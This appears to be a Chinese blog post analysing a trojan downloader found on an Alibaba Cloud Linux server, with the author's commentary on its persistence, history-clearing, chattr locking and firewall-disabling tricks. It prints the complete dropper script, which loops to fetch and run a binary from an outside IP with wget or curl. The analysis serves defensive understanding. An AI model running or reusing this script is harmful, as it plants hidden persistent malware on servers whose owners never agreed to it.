一个木马下载脚本
来源:互联网 发布:手机淘宝交电费 编辑:程序博客网 时间:2024/05/01 00:35
帮一个朋友在阿里云Linux服务器上装软件,发现出奇的卡,终端上敲几个字就卡几十秒。ps -ef
一看,发现两个可疑物:
/etc/tows/etc/towgets.sh
乘着不卡,cat /etc/tows,擦,很明显的木马。哎,做点什么不好,黑人有啥好玩的!
Anyway,把脚本拿出来给大家学习下。涉及到如下几个技术点:
- echo “sh /etc/towgets.sh &” >> /etc/rc.local: 开机自启动
- history -c : 清理脚本命令history,尽量防止被人发现
- chattr +i /etc/tows : root也删不了哦,需要先chattr -i之后才能rm
- /etc/init.d/iptables stop : 防止防火墙阻止自己下代码(木马实体)
- ps aux | grep “tows” | grep -v grep | awk ‘{print $2}’ 找tows有多少个,kill 防止启动多个实例
#!/bin/bash#Welcome like-minded friends to come to exchange.#We are a group of people who have a dream.# by:Tyrant# 2015-02-12if [ "sh /etc/towgets.sh &" = "$(cat /etc/rc.local | grep /etc/towgets.sh | grep -v grep)" ]; then echo ""else echo "sh /etc/towgets.sh &" >> /etc/rc.local echo "/etc/init.d/iptables stop">>/etc/rc.local echo "nohup /etc/tows > /dev/null 2>&1 &">>/etc/rc.localfiwhile [ 1 ]; do Centos_sshd_killn=$(ps aux | grep "/etc/tows" | grep -v grep | wc -l) if [[ $Centos_sshd_killn -eq 0 ]]; then if [ ! -f "/etc/tows" ]; then if [ -f "/usr/bin/wget" ]; then cp /usr/bin/wget . chmod +x wget #./wget -P . http://222.186.58.233:58961/tows ./wget -P /etc/ http://222.186.58.233:58961/tows &> /dev/null else curl -o /etc/tows http://222.186.58.233:58961/tows fi fi /etc/init.d/iptables stop chmod +x /etc/tows rm wget -rf /etc/tows & #./etc/tows & chattr +i /etc/tows history -c elif [[ $Centos_sshd_killn -gt 1 ]]; then for killed in $(ps aux | grep "tows" | grep -v grep | awk '{print $2}'); do Centos_sshd_killn=$(($Centos_sshd_killn-1)) if [[ $Centos_sshd_killn -eq 1 ]]; then continue else kill -9 $killed fi done else echo "" fi sleep 600done
脚本本身没啥。至于卡顿,应该是tows写得比较挫,没处理好资源利用导致。
0 0
- 一个木马下载脚本
- 一个下载木马的网站
- VBS做的一个木马下载者
- 木马下载
- vc++编写一个木马下载器,体积仅有0.3K
- 一个木马的自动下载运行批处理命令
- vc++编写一个木马下载器,体积仅有0.3K
- 贴一个批量下载脚本
- 病毒木马查杀实战第025篇:JS下载者脚本木马的分析与防御
- 造福大众,分享一个mp3下载脚本
- Android源码下载,利用一个shell脚本
- 用PHP实现一个MP3下载脚本
- 一个ftp下载的shell脚本
- 分享一个Python下载视频脚本
- 一个下载git库代码的脚本
- 一个ASP木马
- 一个简单木马例子
- 一个简单木马例子
- 标准和模型和IE盒模型
- Unity5 更改鼠标样式
- java.io------BufferedReader
- CodeForces 567C Geometric Progression
- web_for_pentest XSS系列
- 一个木马下载脚本
- JSP原理初探
- 面试之路(13)-android apk之间共享数据的方式以及shareUserId详解
- 最小生成树
- poj1207 The 3n + 1 problem
- 关于SVN Client的一点心得
- 完全大数(高精度)模版
- BZOJ 4443 小凸玩矩阵
- ubuntu常见错误--Could not get lock /var/lib/dpkg/lock